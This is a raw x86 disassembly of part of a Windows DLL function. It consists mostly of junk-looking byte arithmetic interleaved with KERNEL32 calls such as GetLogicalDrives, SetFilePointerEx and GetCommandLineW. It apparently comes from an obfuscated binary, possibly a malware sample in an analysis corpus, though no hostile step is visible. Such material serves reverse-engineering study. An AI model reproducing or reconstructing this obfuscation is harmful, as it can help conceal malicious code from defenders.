mov ecx, dword [ebp - 0x138]
push ecx
mov edx, dword [ebp - 0x13c]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.100014a0
add esp, 0x20
mov edx, dword [ebp - 0x110]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x59]
add eax, ecx
mov byte [ebp - 0x42], al
mov edx, dword [ebp - 0x110]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xf0]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x78]
mov byte [ecx], al
jmp 0x10005105
mov edx, dword [ebp - 0x74]
xor edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [0x1000801c]
shl eax, cl
cmp edx, eax
jle 0x10005105
movsx ecx, byte [ebp - 0x6f]
movsx edx, byte [ebp - 0x2a]
and ecx, edx
mov byte [ebp - 1], cl
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x20], cl
movsx ecx, byte [ebp - 0x4a]
movsx edx, byte [ebp - 0x21]
add ecx, edx
mov byte [ebp - 1], cl
mov eax, dword [ebp - 0xb8]
movsx ecx, byte [eax]
movsx edx, byte [0x1000805c]
sub ecx, edx
mov byte [0x10008001], cl
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0xa0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x90]
mov dword [edx], ecx
mov eax, dword [ebp - 0x154]
movzx edx, byte [eax]
movzx eax, byte [ebp - 0x1f]
add edx, eax
movzx eax, byte [ebp - 0xc5]
movzx ecx, byte [ebp - 0xd]
shl eax, cl
cmp edx, eax
jg 0x1000514c
movsx edx, byte [ebp - 0x10]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x80]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x21]
mov eax, dword [0x10008058]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 2], dl
jmp 0x10007427
movsx edx, byte [ebp - 0xe]
movsx eax, byte [ebp - 4]
sub edx, eax
mov ecx, dword [ebp - 0x78]
mov byte [ecx], dl
mov dl, byte [ebp - 4]
mov byte [ebp - 0xfb], dl
movsx eax, byte [ebp - 0x1e]
movsx ecx, byte [ebp - 0x4c]
sub eax, ecx
mov byte [ebp - 7], al
mov edx, dword [ebp - 0x1f8]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
cmp dword [ebp - 0x1e0], 0x5032
jbe 0x1000544e
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1d]
sub ecx, edx
mov byte [ebp - 0x6d], cl
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x44], cl
movsx ecx, byte [0x10008036]
mov edx, dword [ebp - 0xb8]
movsx eax, byte [edx]
and ecx, eax
mov byte [0x10008003], cl
movsx ecx, byte [ebp - 0x33]
movsx edx, byte [ebp - 0x42]
sub ecx, edx
mov byte [ebp - 0x2a], cl
movsx eax, byte [ebp - 2]
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x43], al
push 0x10001188
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov word [ebp - 0x21c], ax
movsx eax, byte [ebp - 0x42]
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x7a], al
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
movsx edx, byte [0x1000805c]
add ecx, edx
mov byte [ebp - 0xfb], cl
movsx eax, word [ebp - 0x50]
movsx ecx, word [ebp - 0x54]
xor eax, ecx
mov word [ebp - 0xc], ax
movzx edx, byte [ebp - 0x31]
movzx ecx, byte [section..data]
shl edx, cl
mov eax, dword [ebp - 0x154]
mov byte [eax], dl
movzx ecx, word [ebp - 0xe8]
movzx edx, word [ebp - 0xcc]
or ecx, edx
mov word [ebp - 0x60], cx
mov eax, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x134]
call fcn.10007e10
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
and eax, dword [ebp - 0x38]
mov dword [0x10008044], eax
mov ecx, dword [ebp - 0x10c]
mov edx, dword [0x1000803c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ecx + 4]
sbb ecx, dword [edx + 4]
mov edx, dword [ebp - 0x10c]
mov dword [edx], eax
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1e0]
sub eax, 0x30
mov dword [ebp - 0x1e0], eax
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x6c]
mov dword [ebp - 0xa0], edx
movsx eax, byte [ebp - 2]
movsx ecx, byte [ebp - 0x21]
add eax, ecx
mov edx, dword [ebp - 0x18]
mov byte [edx], al
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
movsx edx, byte [0x1000805c]
add ecx, edx
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
push 2
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [0x1000806c]
push edx
mov eax, dword [0x10008068]
push eax
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x204], eax
movsx edx, byte [ebp - 0xe]
movsx eax, byte [ebp - 0x29]
sub edx, eax
mov byte [ebp - 0x59], dl
movsx ecx, byte [ebp - 2]
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x4b], cl
movsx ecx, byte [0x10008003]
mov edx, dword [ebp - 0xf0]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x4a], cl
mov ecx, dword [ebp - 0x88]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6c]
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
mov edx, dword [0x10008054]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x10008001], cl
mov ecx, dword [ebp - 0xf0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x89]
or edx, eax
mov byte [ebp - 0x6f], dl
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
mov eax, dword [0x10008054]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0xb8]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x4a]
movsx eax, byte [ebp - 0x1d]
xor edx, eax
mov byte [ebp - 0x32], dl
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x21]
shl edx, cl
mov byte [ebp - 0xf9], dl
mov eax, dword [0x10008050]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x44], cl
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x1e], dl
mov edx, dword [ebp - 0xdc]
add edx, dword [0x10008008]
mov eax, dword [ebp - 0xd8]
adc eax, dword [0x1000800c]
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x120], eax
movsx ecx, byte [ebp - 4]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x40]
mov byte [edx], cl
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x11]
sub ecx, edx
mov byte [0x10008037], cl
movsx eax, byte [ebp - 0x6e]
movsx ecx, byte [ebp - 0x2a]
sub eax, ecx
mov byte [ebp - 7], al
mov edx, dword [ebp - 0xf0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x11]
add eax, ecx
mov byte [ebp - 0x6f], al
jmp 0x1000517e
lea edx, [ebp - 0x38]
mov dword [ebp - 0x194], edx
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x84]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [eax + 4]
and eax, dword [ecx + 4]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], edx
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x6c]
add edx, dword [ebp - 0x74]
mov dword [ebp - 0xa0], edx
mov eax, dword [0x10008048]
mov ecx, dword [eax]
mov dword [ebp - 0x240], ecx
cmp dword [ebp - 0x240], 0x5b4f
je 0x100054ae
cmp dword [ebp - 0x240], 0x6d23
je 0x10005509
jmp 0x100055a0
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x110]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 6], al
mov eax, dword [ebp - 0xa0]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.10001430
add esp, 8
mov edx, dword [0x10008054]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x110]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x10], al
movsx edx, byte [ebp - 0x4c]
movsx ecx, byte [ebp - 0xc6]
shl edx, cl
mov eax, dword [ebp - 0xb4]
mov byte [eax], dl
jmp 0x100055a0
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
movsx eax, byte [0x10008001]
xor edx, eax
mov byte [0x10008037], dl
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x104]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xcc]
and eax, ecx
mov edx, dword [ebp - 0x104]
mov word [edx], ax
movsx eax, byte [ebp - 0x39]
movsx ecx, byte [ebp - 0x6f]
sub eax, ecx
mov byte [ebp - 0xe], al
movsx edx, byte [ebp - 0x29]
movsx eax, byte [ebp - 0x2a]
sub edx, eax
mov byte [ebp - 0x4a], dl
mov ecx, dword [ebp - 0x108]
push ecx
call fcn.10001470
add esp, 4
movsx edx, byte [ebp - 0x4c]
mov eax, dword [ebp - 0xf0]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x90]
add eax, dword [ecx]
mov edx, dword [ebp - 0x12c]
mov dword [edx], eax
lea eax, [ebp - 0x43]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x128]
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a4], 0x3e21
jne 0x100055d8
cmp dword [ebp - 0x3a0], 0x700000
je 0x100055da
jmp 0x1000560f
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x41]
sub edx, eax
mov byte [ebp - 0x39], dl
mov ecx, dword [ebp - 0x124]
add ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0x120]
adc edx, dword [ebp - 0x15c]
mov dword [0x10008008], ecx
mov dword [0x1000800c], edx
jmp 0x10005645
movsx eax, byte [ebp - 0x1d]
movsx ecx, byte [ebp - 0xe]
sub eax, ecx
mov edx, dword [ebp - 0xf0]
mov byte [edx], al
mov eax, dword [0x10008050]
mov cl, byte [eax]
mov byte [ebp - 0x99], cl
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0xa1], al
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
mov edx, dword [0x10008054]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0xd4]
mov byte [edx], cl
mov eax, dword [ebp - 0x110]
mov cl, byte [eax]
mov byte [ebp - 0x118], cl
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x6d]
xor eax, ecx
mov edx, dword [ebp - 0x28]
mov byte [edx], al
mov al, byte [ebp - 0xfa]
mov byte [ebp - 0xc7], al
movsx edx, byte [0x10008037]
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x42], dl
mov ecx, dword [ebp - 0x16c]
mov edx, dword [ebp - 0x128]
mov eax, dword [edx]
mov edx, dword [edx + 4]
call fcn.10007df0
mov ecx, dword [ebp - 0xb0]
add ecx, dword [0x10008010]
mov esi, dword [ebp - 0xac]
adc esi, dword [0x10008014]
mov dword [ebp - 0x3ac], eax
mov dword [ebp - 0x3a8], edx
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x3b0], esi
mov edx, dword [ebp - 0x3ac]
cmp edx, dword [ebp - 0x3b4]
jne 0x10005748
mov eax, dword [ebp - 0x3a8]
cmp eax, dword [ebp - 0x3b0]
jne 0x10005748
lea ecx, [ebp - 0x99]
mov dword [0x10008064], ecx
lea edx, [ebp - 0x31]
mov dword [ebp - 0x188], edx
mov ax, word [ebp - 0x50]
mov word [ebp - 0x14c], ax
mov ecx, dword [ebp - 0x134]
add ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x130]
adc edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x108]
and edx, dword [ecx]
mov dword [ebp - 0x38], edx
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x17c], eax
mov ecx, dword [ebp - 0x128]
mov edx, dword [0x10008010]
add edx, dword [ecx]
mov eax, dword [0x10008014]
adc eax, dword [ecx + 4]
mov ecx, dword [ebp - 0x84]
mov esi, dword [ecx]
sub esi, dword [ebp - 0x134]
mov ecx, dword [ecx + 4]
sbb ecx, dword [ebp - 0x130]
mov dword [ebp - 0x3bc], edx
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3c4], esi
mov dword [ebp - 0x3c0], ecx
mov edx, dword [ebp - 0x3bc]
cmp edx, dword [ebp - 0x3c4]
jne 0x1000585d
mov eax, dword [ebp - 0x3b8]
cmp eax, dword [ebp - 0x3c0]
jne 0x1000585d
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [0x10008036]
sub edx, eax
mov ecx, dword [ebp - 0xa8]
mov byte [ecx], dl
movsx edx, byte [ebp - 0xc6]
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xa2], dl
movsx edx, byte [ebp - 0x8a]
movsx eax, byte [ebp - 0x39]
add edx, eax
mov ecx, dword [ebp - 0xf0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x164]
mov eax, dword [edx]
push eax
call fcn.10001470
add esp, 4
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [0x10008001], dl
mov edx, dword [ebp - 0x158]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x58]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xf8]
mov edx, dword [eax + 4]
adc edx, dword [ebp - 0xf4]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe0], edx
movsx esi, word [ebp - 0x14c]
movsx ecx, word [ebp - 0x54]
sar esi, cl
movsx eax, word [ebp - 0x50]
movsx ecx, word [ebp - 0xc]
cdq
idiv ecx
cmp esi, eax
jle 0x100073fa
movsx edx, byte [ebp - 0x1d]
mov eax, dword [ebp - 0xb8]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0xc7], dl
mov edx, dword [ebp - 0x12c]
mov eax, dword [edx]
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x74]
shl edx, cl
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x6c]
or ecx, dword [eax]
cmp edx, ecx
jl 0x100072cd
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x424], eax
movsx edx, byte [ebp - 0x89]
movsx eax, byte [ebp - 0xf]
or edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
movsx edx, byte [0x10008003]
movsx ecx, byte [ebp - 0xfb]
shl edx, cl
mov byte [ebp - 0x99], dl
push 1
lea eax, [ebp - 0x284]
push eax
mov ecx, dword [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
mov eax, dword [ebp - 0x244]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x204], eax
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x28]
mov byte [eax], dl
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
movsx ecx, byte [0x10008003]
sar edx, cl
mov byte [ebp - 0x29], dl
mov eax, dword [ebp - 0x1e4]
add eax, 0x71
mov dword [ebp - 0x1e4], eax
movsx ecx, byte [ebp - 0x10]
movsx edx, byte [ebp - 0x4c]
and ecx, edx
mov byte [ebp - 0x8a], cl
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x178], ax
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0xbc]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ecx + 4]
adc ecx, dword [edx + 4]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], ecx
mov edx, dword [ebp - 0x164]
mov eax, dword [edx]
add eax, dword [ebp - 0x108]
mov ecx, dword [0x10008048]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x6e]
movsx eax, byte [0x10008001]
sub edx, eax
mov byte [ebp - 0x2a], dl
mov ecx, dword [ebp - 0x78]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x4a]
and edx, eax
mov ecx, dword [ebp - 0x30]
mov byte [ecx], dl
cmp dword [ebp - 0x1e4], 0x1c3e
jne 0x100058c0
mov edx, dword [ebp - 0x160]
sub edx, dword [0x10008008]
mov eax, dword [ebp - 0x15c]
sbb eax, dword [0x1000800c]
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x110]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x58]
mov byte [eax], dl
mov ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0xf8]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xf4]
sbb eax, dword [ecx + 4]
mov ecx, dword [0x1000803c]
mov esi, dword [0x10008008]
sub esi, dword [ecx]
mov edi, dword [0x1000800c]
sbb edi, dword [ecx + 4]
mov dword [ebp - 0x3cc], edx
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3d4], esi
mov dword [ebp - 0x3d0], edi
mov edx, dword [ebp - 0x3c8]
cmp edx, dword [ebp - 0x3d0]
ja 0x10005b86
jb 0x10005a9c
mov eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x3d4]
ja 0x10005b86
mov ecx, dword [ebp - 0x188]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x154]
movzx ecx, byte [eax]
or edx, ecx
movzx eax, byte [ebp - 0xd]
movzx ecx, byte [ebp - 0xc5]
sar eax, cl
cmp edx, eax
jne 0x10005b0e
movsx ecx, byte [ebp - 0x99]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x2a], cl
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x8a]
add edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 7]
add edx, eax
mov byte [ebp - 0xf], dl
mov ecx, dword [ebp - 0x88]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x74]
push eax
call fcn.10001430
add esp, 8
jmp 0x10005b86
mov ecx, dword [ebp - 0x114]
mov edx, dword [ebp - 0x6c]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov ecx, dword [0x1000801c]
shl eax, cl
cmp edx, eax
jg 0x10005b86
mov cl, byte [0x10008037]
mov byte [ebp - 0x119], cl
movsx edx, byte [ebp - 0x10]
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [0x10008037], dl
mov edx, dword [ebp - 0x17c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1a8], eax
mov ecx, dword [0x10008050]
mov dl, byte [ecx]
mov byte [ebp - 0x115], dl
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xd4]
mov byte [edx], cl
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x30]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x1d], cl
mov ecx, dword [ebp - 0xf0]
mov dl, byte [ecx]
mov byte [ebp - 0x79], dl
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 4], cl
mov cl, byte [ebp - 0x29]
mov byte [ebp - 0x13d], cl
mov edx, dword [0x10008050]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
add eax, edx
movsx ecx, byte [ebp - 0x79]
mov edx, dword [ebp - 0x18]
movsx edx, byte [edx]
add ecx, edx
cmp eax, ecx
jle 0x10005c45
movsx eax, byte [ebp - 2]
movsx ecx, byte [0x10008037]
sar eax, cl
mov ecx, dword [ebp - 0x48]
mov byte [ecx], al
mov edx, dword [ebp - 0x110]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xa1]
xor eax, ecx
mov byte [0x10008003], al
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xb4]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x1d], al
mov edx, dword [ebp - 0x18]
mov al, byte [edx]
mov byte [ebp - 0x13f], al
mov ecx, dword [ebp - 0x58]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0xfa], dl
lea edx, [ebp - 0xe]
mov dword [ebp - 0x18c], edx
movzx eax, byte [ebp - 0x31]
imul ecx, eax, 0xf9
mov byte [ebp - 0x1f], cl
mov dx, word [ebp - 0x54]
mov word [ebp - 0x148], dx
lea eax, [ebp - 0x100]
mov dword [ebp - 0x290], eax
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx]
and edx, dword [ebp - 0x134]
mov eax, dword [ecx + 4]
and eax, dword [ebp - 0x130]
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x27c], edx
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x27c], 0x5053
jne 0x10005cbf
cmp dword [ebp - 0x278], 0x700000
je 0x100071aa
cmp dword [ebp - 0x27c], 0x24032d86
jne 0x10005cd7
cmp dword [ebp - 0x278], 0x1a00480
je 0x10005cdc
jmp 0x10007222
mov ecx, dword [ebp - 0x10c]
mov edx, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x3dc], edx
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3dc], 0x3dcd
jne 0x10005d0b
cmp dword [ebp - 0x3d8], 0x700000
je 0x10005d0d
jmp 0x10005d26
mov ecx, dword [ebp - 0xa8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 5], dl
jmp 0x1000716b
mov edx, dword [ebp - 0x180]
mov eax, dword [edx]
sub eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x164]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x194]
add edx, dword [ecx]
cmp eax, edx
jbe 0x10005dab
movsx edx, byte [ebp - 0x79]
mov eax, dword [ebp - 0xa8]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x7a], dl
mov edx, dword [ebp - 0x84]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [edx]
push ecx
mov edx, dword [ebp - 0xac]
push edx
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 0x128]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
call fcn.100014a0
add esp, 0x20
mov ecx, dword [ebp - 0xa8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x42], dl
mov edx, dword [ebp - 0xf8]
add edx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xf4]
adc eax, dword [ebp - 0xd8]
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0x1e8], 0x3250
je 0x10006147
movsx ecx, byte [ebp - 6]
mov edx, dword [0x10008054]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 3], cl
movsx ecx, byte [ebp - 0xf]
movsx edx, byte [ebp - 0x32]
add ecx, edx
mov byte [0x1000805c], cl
mov eax, dword [ebp - 0x1e8]
add eax, 0x5c
mov dword [ebp - 0x1e8], eax
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x48]
mov byte [eax], dl
movsx edx, byte [0x10008036]
mov eax, dword [ebp - 0xb4]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x2a], dl
mov ecx, dword [ebp - 0xc4]
xor ecx, dword [ebp - 0x190]
mov dword [ebp - 0x1ac], ecx
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x128]
mov eax, dword [edx]
mov edx, dword [edx + 4]
call fcn.10007df0
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0xa0]
or ecx, dword [eax]
mov edx, dword [ebp - 0x114]
mov dword [edx], ecx
movsx eax, byte [ebp - 3]
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x2a], al
movsx eax, byte [ebp - 0x21]
movsx ecx, byte [ebp - 0x99]
add eax, ecx
mov edx, dword [ebp - 0x28]
mov byte [edx], al
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x79], cl
mov ecx, dword [ebp - 0xf0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x4a]
sub edx, eax
mov byte [0x10008037], dl
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x4a], dl
push 0
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x280]
push eax
mov ecx, dword [ebp - 0x284]
push ecx
mov edx, dword [0x10008060]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x28c], eax
movzx eax, word [ebp - 0xcc]
mov ecx, dword [ebp - 0x104]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x290]
mov word [ecx], ax
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x7a]
sub eax, ecx
mov edx, dword [ebp - 0x18]
mov byte [edx], al
mov eax, dword [ebp - 0xb8]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xa1]
add ecx, edx
mov byte [ebp - 0x4a], cl
movsx eax, byte [ebp - 0x79]
movsx ecx, byte [ebp - 0xc6]
add eax, ecx
mov edx, dword [ebp - 0xb8]
mov byte [edx], al
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0x6c]
mov dword [ebp - 0xa0], eax
mov ecx, dword [0x10008054]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x42], dl
mov edx, dword [ebp - 0x110]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x58]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x4c], al
mov edx, dword [ebp - 0x10c]
mov eax, dword [edx]
or eax, dword [ebp - 0xe4]
mov ecx, dword [edx + 4]
or ecx, dword [ebp - 0xe0]
mov dword [0x10008008], eax
mov dword [0x1000800c], ecx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x444], eax
